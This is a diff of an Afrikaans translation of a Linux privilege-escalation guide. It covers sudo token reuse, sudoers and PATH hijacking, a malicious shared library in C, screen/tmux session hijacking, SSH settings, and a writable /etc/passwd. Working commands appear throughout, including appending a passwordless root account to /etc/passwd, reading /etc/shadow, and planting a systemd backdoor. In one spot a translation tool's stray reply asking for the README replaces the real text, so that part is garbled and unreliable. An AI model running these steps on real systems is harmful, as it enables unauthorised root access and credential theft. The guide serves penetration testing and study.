-Die projek versamel legitime funksies van Unix binaries wat misbruik kan word om uit restricted shells te breek, privileges te eskaleer of te behou, lêers oor te dra, bind en reverse shells te spawn, en ander post-exploitation take te vergemaklik.
+Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te behou, lêers oor te dra, bind en reverse shells te spawn, en ander post-exploitation take te vergemaklik.
 
 > gdb -nx -ex '!sh' -ex quit\
 > sudo mysql -e '! /bin/sh'\
@@ -970,50 +970,50 @@ https://gtfoargs.github.io/
 
 ### FallOfSudo
 
-As jy toegang tot `sudo -l` het, kan jy die tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) gebruik om te kyk of dit 'n manier vind om enige sudo-reël uit te buiten.
+If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule.
 
-### Reusing Sudo Tokens
+### Hergebruik van sudo tokens
 
-In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy privileges eskaleer deur **te wag vir 'n sudo-opdrag uitvoering en dan die sessie-token te kap**.
+In gevalle waar jy **sudo access** het maar nie die wagwoord nie, kan jy voorregte verhoog deur **te wag vir 'n sudo-opdraguitvoering en dan die sessie-token te kap**.
 
-Requirements to escalate privileges:
+Vereistes om voorregte te eskaleer:
 
 - Jy het reeds 'n shell as gebruiker "_sampleuser_"
-- "_sampleuser_" het **`sudo` gebruik** om iets uit te voer in die **laaste 15mins** (per verstek is dit die duur van die sudo token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer)
+- "_sampleuser_" het **`sudo` gebruik** om iets in die **laaste 15mins** uit te voer (by verstek is dit die duur van die sudo token wat ons toelaat om `sudo` te gebruik sonder om 'n wagwoord in te voer)
 - `cat /proc/sys/kernel/yama/ptrace_scope` is 0
 - `gdb` is toeganklik (jy kan dit oplaai)
 
 (Jy kan tydelik `ptrace_scope` aktiveer met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent deur `/etc/sysctl.d/10-ptrace.conf` te wysig en `kernel.yama.ptrace_scope = 0` te stel)
 
-As al hierdie vereistes vervul is, **kan jy privileges eskaleer met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
+If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
 
-- Die **eerste exploit** (`exploit.sh`) sal die binary `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om die sudo token in jou sessie te **aktiveer** (jy kry nie outomaties 'n root shell nie, doen `sudo su`):
+- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`):
 ```bash
 bash exploit.sh
 /tmp/activate_sudo_token
 sudo su
 ```
-- Die **tweede exploit** (`exploit_v2.sh`) sal 'n sh shell in _/tmp_ skep wat **deur root besit word en setuid het**
+- Die **tweede exploit** (`exploit_v2.sh`) sal ’n sh shell in _/tmp_ skep wat deur root besit word met setuid.
 ```bash
 bash exploit_v2.sh
 /tmp/sh -p
 ```
-- Die **derde exploit** (`exploit_v3.sh`) sal **'n sudoers file skep** wat **sudo tokens ewigdurend maak en alle gebruikers toelaat om sudo te gebruik**
+- Die **derde exploit** (`exploit_v3.sh`) **sal 'n sudoers file skep** wat **sudo tokens ewigdurend maak en alle gebruikers toelaat om sudo te gebruik**
 ```bash
 bash exploit_v3.sh
 sudo su
 ```
 ### /var/run/sudo/ts/\<Username>
 
-As jy **skryfregte** in die gids het of op enige van die geskepte lêers binne die gids, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om **'n sudo-token vir 'n gebruiker en PID te skep**.\
-Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy 'n shell as daardie gebruiker met PID 1234 het, kan jy **sudo privileges verkry** sonder om die wagwoord te hoef te ken deur:
+As jy **skryfpermissies** in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) gebruik om 'n **sudo token vir 'n gebruiker en PID te skep**.\
+Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy **sudo privileges verkry** sonder om die wagwoord te ken deur:
 ```bash
 ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
 ```
 ### /etc/sudoers, /etc/sudoers.d
 
-Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\
-**As** jy hierdie lêer kan **lees** kan jy moontlik **interessante inligting verkry**, en as jy enige lêer kan **skryf** sal jy in staat wees om **escalate privileges**.
+Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers kan **standaard slegs deur gebruiker root en groep root gelees word**.\
+**As** jy hierdie lêer kan **lees**, kan jy moontlik **interessante inligting bekom**, en as jy enige lêer kan **skryf**, sal jy in staat wees om **escalate privileges**.
 ```bash
 ls -l /etc/sudoers /etc/sudoers.d/
 ls -ld /etc/sudoers.d/
@@ -1032,15 +1032,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
 ```
 ### DOAS
 
-Daar is 'n paar alternatiewe vir die `sudo` binêre, soos `doas` vir OpenBSD; onthou om die konfigurasie by `/etc/doas.conf` na te gaan.
+Daar is 'n paar alternatiewe vir die `sudo` binary soos `doas` vir OpenBSD; onthou om sy configuration by `/etc/doas.conf` na te gaan.
 ```
 permit nopass demo as root cmd vim
 ```
 ### Sudo Hijacking
 
-As jy weet dat 'n gebruiker gewoonlik aan 'n masjien koppel en `sudo` gebruik om bevoegdhede te eskaleer en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo executable skep** wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Daarna, **wysig die $PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo executable uitgevoer word.
+As jy weet dat 'n **gebruiker gewoonlik op 'n masjien koppel en `sudo` gebruik** om voorregte te verhoog en jy het 'n shell binne daardie gebruiker-konteks, kan jy **'n nuwe sudo uitvoerbare** skep wat jou kode as root sal uitvoer en daarna die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruiker-konteks (byvoorbeeld deur die nuwe pad in `.bash_profile` by te voeg) sodat wanneer die gebruiker `sudo` uitvoer, jou sudo-uitvoerbare uitgevoer word.
 
-Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Neem kennis dat as die gebruiker 'n ander shell (nie bash nie) gebruik, jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan nog 'n voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 
 Of deur iets soos die volgende uit te voer:
 ```bash
@@ -1057,17 +1057,16 @@ zsh
 echo $PATH
 sudo ls
 ```
-## Gedeelde Biblioteek
+## Gedeelde biblioteek
 
 ### ld.so
 
 Die lêer `/etc/ld.so.conf` dui aan **waarheen die gelaaide konfigurasielêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf`
 
-Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **gesoek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel sal soek na biblioteke binne `/usr/local/lib`**.
-
-As om een of ander rede **'n gebruiker skryfregte het** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf` mag hy in staat wees om toeskrywings te escalate privileges.\
-Kyk na **how to exploit this misconfiguration** in die volgende bladsy:
+Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **libraries** gaan gesoek word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel vir libraries binne `/usr/local/lib` sal soek**.
 
+Indien om een of ander rede **a user has write permissions** op enige van die aangeduide paaie: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer in `/etc/ld.so.conf.d/*.conf` kan hy moontlik **escalate privileges**.\
+Kyk na **how to exploit this misconfiguration** op die volgende blad:
 
 {{#ref}}
 ld.so.conf-example.md
@@ -1093,7 +1092,7 @@ linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)
 ```
-Skep dan 'n kwaadaardige biblioteek in `/var/tmp` met `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
+Skep dan 'n kwaadwillige biblioteek in `/var/tmp` met `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
 ```c
 #include<stdlib.h>
 #define SHELL "/bin/sh"
@@ -1106,10 +1105,10 @@ setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
 }
 ```
-## Bevoegdhede
+## Vermoëns
 
-Linux capabilities bied 'n **substel van die beskikbare root-bevoegdhede aan 'n proses**. Dit breek effektief die root **bevoegdhede op in kleiner en afsonderlike eenhede**. Elke een van hierdie eenhede kan dan onafhanklik aan prosesse toegestaan word. Op hierdie wyse word die volle stel bevoegdhede verminder, wat die risiko's van uitbuiting verlaag.\
-Lees die volgende bladsy om **meer te leer oor bevoegdhede en hoe om dit te misbruik**:
+Linux capabilities verskaf 'n **substel van die beskikbare root-regte aan 'n proses**. Dit verdeel effektief root **regte in kleiner en onderskeibare eenhede**. Elke van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel regte verminder, wat die risiko's van uitbuiting verlaag.\
+Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**:
 
 
 {{#ref}}
@@ -1118,14 +1117,14 @@ linux-capabilities.md
 
 ## Gids-toestemmings
 
-In 'n gids dui die **bit vir "execute"** daarop dat die betrokke gebruiker in die vouer kan "**cd**" into the folder.\
-Die **"read"** bit dui aan dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit dui aan dat die gebruiker **lêers** kan **verwyder** en nuwe **lêers** kan **skep**.
+In 'n gids, die **bit vir "execute"** dui aan dat die betrokke gebruiker in die vouer kan "**cd**" into die folder.\
+Die **"read"** bit dui aan dat die gebruiker die **lêers** kan **lys**, en die **"write"** bit dui aan dat die gebruiker **lêers kan verwyder** en **nuwe lêers kan skep**.
 
 ## ACLs
 
-Toegangsbeheerlyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat die tradisionele ugo/rwx-toestemmings kan **oorheers**. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur regte vir spesifieke gebruikers toe te staan of te weier — gebruikers wat nie die eienaars is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede is beskikbaar [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
+Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, en is in staat om **die tradisionele ugo/rwx-permissies te oorheers**. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur spesifieke gebruikers wat nie eienaars is of deel van die groep is nie, regte toe te ken of te weier. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede kan gevind word [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
 
-**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer:
+**Gee** gebruiker "kali" lees- en skryfregte oor 'n lêer:
 ```bash
 setfacl -m u:kali:rw file.txt
 #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@@ -1136,14 +1135,14 @@ setfacl -b file.txt #Remove the ACL of the file
 ```bash
 getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
 ```
-## Oop shell sessions
+## Oop shell sessies
 
-In **oue weergawes** kan jy **hijack** 'n **shell** session van 'n ander gebruiker (**root**).\
-In **nuutste weergawes** sal jy net na screen sessions van **jou eie gebruiker** **connect**. Jy kan egter **interessante inligting binne die session** vind.
+In **oude weergawes** kan jy 'n **shell** sessie van 'n ander gebruiker (**root**) **hijack**.\
+In **nuutste weergawes** sal jy slegs na screen sessies van **jou eie gebruiker** **connect**. Tog kan jy **interessante inligting binne die sessie** vind.
 
 ### screen sessions hijacking
 
-**Lys screen sessions**
+**Lys screen sessies**
 ```bash
 screen -ls
 screen -ls <username>/ # Show another user' screen sessions
@@ -1156,9 +1155,9 @@ screen -dr <session> #The -d is to detach whoever is attached to it
 screen -dr 3350.foo #In the example of the image
 screen -x [user]/[session id]
 ```
-## tmux sessions hijacking
+## tmux sessies hijacking
 
-Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-geprivilegieerde gebruiker hijack nie.
+Dit was 'n probleem met **ou tmux-weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker hijack nie.
 
 **Lys tmux sessies**
 ```bash
@@ -1184,47 +1183,47 @@ Kyk na **Valentine box from HTB** vir 'n voorbeeld.
 
 ### Debian OpenSSL Predictable PRNG - CVE-2008-0166
 
-Alle SSL en SSH keys wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout beïnvloed wees.  
-Hierdie fout word veroorsaak wanneer 'n nuwe ssh key op daardie OS geskep is, omdat **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh public key kan jy die ooreenstemmende private key soek**. Die berekende moontlikhede kan hier gevind word: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, etc) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\
+Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy die ooreenstemmende private sleutel soek**. Die berekende moontlikhede kan hier gevind word: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
 
 ### SSH Interessante konfigurasiewaardes
 
-- **PasswordAuthentication:** Gee aan of password authentication toegelaat word. Die verstek is `no`.
-- **PubkeyAuthentication:** Gee aan of public key authentication toegelaat word. Die verstek is `yes`.
-- **PermitEmptyPasswords**: Wanneer password authentication toegelaat word, spesifiseer dit of die bediener aanmelding op rekeninge met leë wagwoordstringe toelaat. Die verstek is `no`.
+- **PasswordAuthentication:** Gee aan of wagwoordverifikasie toegelaat word. Die verstek is `no`.
+- **PubkeyAuthentication:** Gee aan of publieke sleutelverifikasie toegelaat word. Die verstek is `yes`.
+- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, gee dit aan of die bediener toelaat dat daar op rekeninge met leë wagwoorde ingelog word. Die verstek is `no`.
 
 ### PermitRootLogin
 
-Gee aan of root met ssh kan aanmeld; verstek is `no`. Moontlike waardes:
+Gee aan of root kan aanmeld met ssh, verstek is `no`. Moontlike waardes:
 
-- `yes`: root kan aanmeld met wagwoord en private key
-- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private key
-- `forced-commands-only`: Root kan slegs aanmeld met 'n private key en slegs as die commands-opsies gespesifiseer is
+- `yes`: root kan aanmeld met wagwoord en private sleutel
+- `without-password` or `prohibit-password`: root kan slegs met 'n private sleutel aanmeld
+- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die commands-opsies gespesifiseer is
 - `no` : nee
 
 ### AuthorizedKeysFile
 
-Gee aan watter lêers die public keys bevat wat vir gebruiker-autentisering gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuismap vervang sal word. **Jy kan absolute paadjies aandui** (wat begin met `/`) of **relatiewe paadjies vanaf die gebruiker se tuismap**. Byvoorbeeld:
+Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die huisgids. **Jy kan absolute paaie aandui** (wat begin met `/`) of **relatiewe paaie vanaf die gebruiker se huisgids**. Byvoorbeeld:
 ```bash
 AuthorizedKeysFile    .ssh/authorized_keys access
 ```
-Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**", sal ssh die **public key** van jou sleutel vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is.
+Daardie konfigurasie sal aandui dat indien jy probeer aanmeld met die **privaat** sleutel van die gebruiker "**testusername**" gaan ssh die publieke sleutel van jou sleutel vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is
 
 ### ForwardAgent/AllowAgentForwarding
 
-SSH agent forwarding laat jou toe om jou plaaslike SSH keys te gebruik in plaas daarvan om sleutels (sonder passphrases!) op jou bediener te los. Sodoende sal jy in staat wees om **jump** via ssh **na 'n host** en van daaruit **jump na 'n ander** host **met** die **key** wat op jou **initial host** geleë is.
+SSH agent forwarding laat jou toe om **jou plaaslike SSH-sleutels te gebruik in plaas daarvan om sleutels** (sonder wagwoordfrases!) op jou server te laat lê. Dit beteken dat jy via ssh **na 'n host kan spring** en van daaruit **na 'n ander host kan spring** deur die **sleutel** te gebruik wat op jou **oorspronklike host** geleë is.
 
 Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg:
 ```
 Host example.com
 ForwardAgent yes
 ```
-Let daarop dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is).
+Let daarop dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spring, daardie gasheer toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is).
 
-Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorskryf** en hierdie konfigurasie toelaat of weier.\
-Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is allow).
+Die lêer `/etc/ssh_config` kan hierdie opsies **oorheers** en hierdie konfigurasie toelaat of weier.\
+Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat).
 
-As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te eskaleer**:
+As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om privilegies te eskaleer**:
 
 
 {{#ref}}
@@ -1235,74 +1234,68 @@ ssh-forward-agent-exploitation.md
 
 ### Profiel-lêers
 
-Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige van hulle kan **skryf of wysig**, kan jy bevoegdhede eskaleer.
+Die lêer `/etc/profile` en die lêers in `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enigeen daarvan kan **skryf of wysig, kan jy privilegies eskaleer**.
 ```bash
 ls -l /etc/profile /etc/profile.d/
 ```
-As 'n vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**.
+As 'n vreemde profielskrip gevind word, moet jy dit nagaan vir **gevoelige besonderhede**.
 
-### Passwd/Shadow lêers
+### Passwd/Shadow Lêers
 
-Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam gebruik of daar mag 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **te kontroleer of jy dit kan lees** om te sien **of daar hashes binne die lêers is**:
+Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al hulle te vind** en **te kontroleer of jy hulle kan lees** om te sien **of daar hashes** in die lêers is:
 ```bash
 #Passwd equivalent files
 cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 #Shadow equivalent files
 cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
 ```
-In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of ekwivalente) lêer vind.
+In sommige gevalle kan jy **password hashes** in die `/etc/passwd` (of gelykwaardige) lêer vind
 ```bash
 grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 ```
 ### Skryfbare /etc/passwd
 
-Eerstens, genereer 'n password met een van die volgende opdragte.
+Eerstens, genereer 'n wagwoord met een van die volgende opdragte.
 ```
 openssl passwd -1 -salt hacker hacker
 mkpasswd -m SHA-512 hacker
 python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
 ```
-Ik het die inhoud van src/linux-hardening/privilege-escalation/README.md nodig om dit te kan vertaal. Plak asseblief die markdown-inhoud hier.
-
-Bevestig ook:
-- Wil jy dat ek 'n sterk wagwoord genereer en dit by die vertaalde README voeg (visueel, as teks)?
-- Is dit vir 'n wettige/legitieme gebruik op jou eie stelsel?
-
-Sodra jy die README hier plak en bevestig, sal ek dit na Afrikaans vertaal volgens jou riglyne en dan die gebruiker `hacker` met die gegenereerde wagwoord byvoeg.
+I don’t have the contents of src/linux-hardening/privilege-escalation/README.md. Plak asseblief die README.md-inhoud (of die gedeeltes wat jy vertaal wil hê) hier, dan sal ek dit na Afrikaans vertaal en die sin "Then add the user `hacker` and add the generated password." (met `hacker` ongewysig) by die vertaalde README voeg.
 ```
 hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
 ```
 Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
 
-Jy kan nou die `su` opdrag gebruik met `hacker:hacker`
+Jy kan nou die `su`-opdrag gebruik met `hacker:hacker`
 
-Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy gebruiker sonder 'n wagwoord by te voeg.\ WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak.
+Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.\ WAARSKUWING: Jy mag die huidige sekuriteit van die masjien verswak.
 ```
 echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
 su - dummy
 ```
-LET WEL: Op BSD-platforme is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`.
+LET OP: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`.
 
-Jy moet nagaan of jy kan **in sekere sensitiewe lêers skryf**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**?
+Jy moet nagaan of jy kan **skryf in sommige sensitiewe lêers**. Byvoorbeeld, kan jy skryf na 'n **dienskonfigurasielêer**?
 ```bash
 find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
 for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
 ```
-Byvoorbeeld, as die masjien 'n **tomcat** server uitvoer en jy die **Tomcat-dienskonfigurasielêer binne /etc/systemd/** kan wysig, kan jy die reëls wysig:
+Byvoorbeeld, as die masjien 'n **tomcat** server loop en jy kan die **Tomcat service configuration file binne /etc/systemd/ wysig,** dan kan jy die reëls wysig:
 ```
 ExecStart=/path/to/backdoor
 User=root
 Group=root
 ```
-Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word.
+Jou backdoor sal uitgevoer word die volgende keer wat tomcat begin.
 
-### Kontroleer vouers
+### Kontroleer gidse
 
-Die volgende vouers mag rugsteunkopieë of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer)
+Die volgende gidse kan rugsteunkopieë of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer dit)
 ```bash
 ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
 ```
-### Vreemde ligging/Owned lêers
+### Eienaardige ligging/Owned files
 ```bash
 #root owned files in /home folders
 find /home -user root 2>/dev/null
@@ -1319,11 +1312,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
 done
 done
 ```
-### Gewysigde lêers in die laaste minute
+### Gewysigde lêers in die afgelope minute
 ```bash
 find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
 ```
-### Sqlite DB-lêers
+### Sqlite DB lêers
 ```bash
 find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
 ```
@@ -1331,11 +1324,11 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
 ```bash
 find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
 ```
-### Verborge lêers
+### Versteekte lêers
 ```bash
 find / -type f -iname ".*" -ls 2>/dev/null
 ```
-### **Skripte/Uitvoerbare binêre lêers in PATH**
+### **Skripte/Binaries in PATH**
 ```bash
 for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
 for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
@@ -1353,20 +1346,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
 ```
 ### Bekende lêers wat passwords bevat
 
-Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat passwords kan bevat**.\
-**Nog 'n interessante hulpmiddel** wat jy hiervoor kan gebruik, is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — 'n open source-toepassing wat gebruik word om baie passwords wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te herwin.
+Lees die code van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat passwords kan bevat**.\
+**Nog 'n interessante tool** wat jy hiervoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie passwords wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, uit te onttrek.
 
 ### Logs
 
-Indien jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin vind**. Hoe vreemder die log is, hoe meer interessant sal dit wees (waarskynlik).\
-Ook kan sommige **sleg** gekonfigureerde (backdoored?) **audit logs** jou toelaat om **passwords** binne audit logs op te neem soos verduidelik in hierdie artikel: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin vind**. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\
+Ook kan sommige "**bad**" gekonfigureerde (backdoored?) **audit logs** jou toelaat om **passwords op te teken** binne audit logs soos verduidelik in hierdie post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
 ```bash
 aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
 grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
 ```
